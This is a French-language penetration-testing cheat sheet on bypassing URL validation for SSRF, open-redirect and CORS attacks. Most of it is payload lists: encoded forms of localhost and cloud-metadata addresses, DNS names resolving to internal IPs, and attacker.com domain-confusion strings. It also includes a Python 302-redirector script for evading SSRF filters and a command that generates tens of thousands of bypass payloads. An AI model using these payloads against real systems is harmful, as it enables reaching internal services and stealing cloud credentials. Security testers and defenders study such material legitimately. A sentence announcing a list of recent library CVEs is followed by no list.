Contournement du format d'URL

Reading time: 10 minutes

Localhost

# Localhost
0 # Yes, just 0 is localhost in Linuc
http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
http://127.1:80
http://127.000000000000000.1
http://0
http:@0/ --> http://localhost/
http://0.0.0.0:80
http://localhost:80
http://[::]:80/
http://[::]:25/ SMTP
http://[::]:3128/ Squid
http://[0000::1]:80/
http://[0:0:0:0:0:ffff:127.0.0.1]/thefile
http://①②⑦.⓪.⓪.⓪

# CDIR bypass
http://127.127.127.127
http://127.0.1.3
http://127.0.0.0

# Dot bypass
127。0。0。1
127%E3%80%820%E3%80%820%E3%80%821

# Decimal bypass
http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1

# Octal Bypass
http://0177.0000.0000.0001
http://00000177.00000000.00000000.00000001
http://017700000001

# Hexadecimal bypass
127.0.0.1 = 0x7f 00 00 01
http://0x7f000001/ = http://127.0.0.1
http://0xc0a80014/ = http://192.168.0.20
0x7f.0x00.0x00.0x01
0x0000007f.0x00000000.0x00000000.0x00000001

# Mixed encodings bypass
169.254.43518 -> Partial Decimal (Class B) format combines the third and fourth parts of the IP address into a decimal number
0xA9.254.0251.0376 -> hexadecimal, decimal and octal

# Add 0s bypass
127.000000000000.1

# You can also mix different encoding formats
# https://www.silisoftware.com/tools/ipconverter.php

# Malformed and rare
localhost:+11211aaa
localhost:00011211aaaa
http://0/
http://127.1
http://127.0.1

# DNS to localhost
localtest.me = 127.0.0.1
customer1.app.localhost.my.company.127.0.0.1.nip.io = 127.0.0.1
mail.ebc.apple.com = 127.0.0.6 (localhost)
127.0.0.1.nip.io = 127.0.0.1 (Resolves to the given IP)
www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us = Resolves to www.google.com
http://customer1.app.localhost.my.company.127.0.0.1.nip.io
http://bugbounty.dod.network = 127.0.0.2 (localhost)
1ynrnhl.xip.io == 169.254.169.254
spoofed.burpcollaborator.net = 127.0.0.1

L'extension Burp Burp-Encode-IP implémente des contournements de formatage IP.

Analyseur de domaine

https:attacker.com
https:/attacker.com
http:/\/\attacker.com
https:/\attacker.com
//attacker.com
\/\/attacker.com/
/\/attacker.com/
/attacker.com
%0D%0A/attacker.com
#attacker.com
#%20@attacker.com
@attacker.com
http://169.254.1698.254\@attacker.com
attacker%00.com
attacker%E3%80%82com
attacker。com
ⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ

① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾
⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗
⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰
⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ
Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ
ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

Confusion de Domaine

# Try also to change attacker.com for 127.0.0.1 to try to access localhost
# Try replacing https by http
# Try URL-encoded characters
https://{domain}@attacker.com
https://{domain}.attacker.com
https://{domain}%6D@attacker.com
https://attacker.com/{domain}
https://attacker.com/?d={domain}
https://attacker.com#{domain}
https://attacker.com@{domain}
https://attacker.com#@{domain}
https://attacker.com%23@{domain}
https://attacker.com%00{domain}
https://attacker.com%0A{domain}
https://attacker.com?{domain}
https://attacker.com///{domain}
https://attacker.com\{domain}/
https://attacker.com;https://{domain}
https://attacker.com\{domain}/
https://attacker.com\.{domain}
https://attacker.com/.{domain}
https://attacker.com\@@{domain}
https://attacker.com:\@@{domain}
https://attacker.com#\@{domain}
https://attacker.com\anything@{domain}/
https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com

# On each IP position try to put 1 attackers domain and the others the victim domain
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/

#Parameter pollution
next={domain}&next=attacker.com

Contournement des Chemins et des Extensions

Si vous devez que l'URL se termine par un chemin ou une extension, ou doit contenir un chemin, vous pouvez essayer l'un des contournements suivants :

https://metadata/vulerable/path#/expected/path
https://metadata/vulerable/path#.extension
https://metadata/expected/path/..%2f..%2f/vulnerable/path

Fuzzing

L'outil recollapse peut générer des variations à partir d'une entrée donnée pour essayer de contourner l'expression régulière utilisée. Consultez cet article pour plus d'informations.

Automatic Custom Wordlists

Découvrez le URL validation bypass cheat sheet webapp de portswigger où vous pouvez introduire l'hôte autorisé et celui de l'attaquant, et il générera une liste d'URLs à essayer pour vous. Il prend également en compte si vous pouvez utiliser l'URL dans un paramètre, dans un en-tête Host ou dans un en-tête CORS.

URL validation bypass cheat sheet for SSRF/CORS/Redirect - 2024 Edition | Web Security Academy

Bypass via redirect

Il est possible que le serveur filtre la requête originale d'un SSRF mais pas une possible réponse de redirection à cette requête.
Par exemple, un serveur vulnérable au SSRF via : url=https://www.google.com/ pourrait filtrer le paramètre url. Mais si vous utilisez un serveur python pour répondre avec un 302 vers l'endroit où vous souhaitez rediriger, vous pourriez être en mesure d'accéder à des adresses IP filtrées comme 127.0.0.1 ou même à des protocoles filtrés comme gopher.
Consultez ce rapport.

#!/usr/bin/env python3

#python3 ./redirector.py 8000 http://127.0.0.1/

import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

if len(sys.argv)-1 != 2:
print("Usage: {} <port_number> <url>".format(sys.argv[0]))
sys.exit()

class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', sys.argv[2])
self.end_headers()

HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()

Tricks Expliqués

Astuce du Backslash

L'astuce du backslash exploite une différence entre le WHATWG URL Standard et RFC3986. Alors que RFC3986 est un cadre général pour les URI, WHATWG est spécifique aux URL web et est adopté par les navigateurs modernes. La distinction clé réside dans la reconnaissance par la norme WHATWG du backslash (\) comme équivalent au slash (/), impactant la façon dont les URL sont analysées, marquant spécifiquement la transition du nom d'hôte au chemin dans une URL.

Crochet carré gauche

Le caractère “crochet carré gauche” [ dans le segment userinfo peut amener le UriComponentsBuilder de Spring à retourner une valeur de nom d'hôte qui diffère de celle des navigateurs : https://example.com[@attacker.com

Autres Confusions

image de https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/

Astuce de l'Identifiant de Zone IPv6 (%25)

Les analyseurs d'URL modernes qui supportent RFC 6874 permettent aux adresses IPv6 link-local d'inclure un identifiant de zone après un signe pourcentage. Certains filtres de sécurité ne sont pas au courant de cette syntaxe et ne supprimeront que les littéraux IPv6 entre crochets, laissant le payload suivant atteindre une interface interne :

http://[fe80::1%25eth0]/          # %25 = encoded '%', interpreted as fe80::1%eth0
http://[fe80::a9ff:fe00:1%25en0]/ # Another example (macOS style)

Si l'application cible valide que l'hôte n'est pas fe80::1 mais cesse de parser au niveau du %, elle peut traiter incorrectement la requête comme externe. Normalisez toujours l'adresse avant toute décision de sécurité ou supprimez complètement l'identifiant de zone optionnel.

CVE de parsing de bibliothèques récentes (2022–2025)

Un certain nombre de frameworks grand public ont souffert de problèmes de non-correspondance de nom d'hôte qui peuvent être exploités pour SSRF une fois la validation de l'URL contournée avec les astuces énumérées ci-dessus :

Lorsque vous dépendez de parseurs d'URL tiers, comparez l'hôte canoniqué renvoyé par la bibliothèque de confiance avec la chaîne brute fournie par l'utilisateur pour détecter ces types de problèmes.

Helpers de génération de payload (2024+)

Créer de grandes listes de mots personnalisées à la main est fastidieux. L'outil open-source SSRF-PayloadMaker (Python 3) peut désormais générer automatiquement 80 k+ combinaisons de manipulation d'hôtes, y compris des encodages mixtes, une rétrogradation forcée HTTP et des variantes de barre oblique :

# Generate every known bypass that transforms the allowed host example.com to attacker.com
python3 ssrf_maker.py --allowed example.com --attacker attacker.com -A -o payloads.txt

La liste résultante peut être directement alimentée dans Burp Intruder ou ffuf.

Références

• https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25
• https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md
• https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet
• https://nvd.nist.gov/vuln/detail/CVE-2024-22243
• https://github.com/hsynuzm/SSRF-PayloadMaker